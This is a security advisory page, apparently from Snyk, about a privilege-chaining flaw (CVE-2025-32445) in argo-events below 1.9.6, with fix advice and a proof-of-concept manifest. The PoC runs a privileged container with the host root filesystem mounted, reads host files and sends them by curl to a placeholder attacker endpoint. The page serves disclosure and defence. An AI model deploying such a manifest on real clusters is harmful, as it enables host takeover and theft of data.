Privilege Chaining Affecting github.com/argoproj/argo-events/pkg/reconciler/sensor package, versions <1.9.6
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOEVENTSPKGRECONCILERSENSOR-9749610
- published18 Apr 2025
- disclosed14 Apr 2025
- creditVille Vesilehto
Introduced: 14 Apr 2025
CVE-2025-32445 Â (opens in a new tab)How to fix?
Upgrade github.com/argoproj/argo-events/pkg/reconciler/sensor to version 1.9.6 or higher.
Overview
Affected versions of this package are vulnerable to Privilege Chaining through the spec.template.container configuration in the EventSource and Sensor custom resources. An attacker can gain privileged access to the host system and cluster by injecting commands into a container template command and args directives.
PoC
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
name: poc-vulnerable-eventsource
spec:
webhook:
security-test:
port: "12000"
endpoint: "/webhook"
template:
container:
image: ubuntu:latest
command: ["/bin/bash"]
args: [
"-c",
"apt-get update && apt-get install -y curl && while true; do
rm -f /tmp/data;
echo '=== containerd socket ===' > /tmp/data 2>&1;
ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
echo '=== proof of host access ===' >> /tmp/data 2>&1;
cat /host/etc/hostname >> /tmp/data 2>&1;
curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
sleep 300;
done"
]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /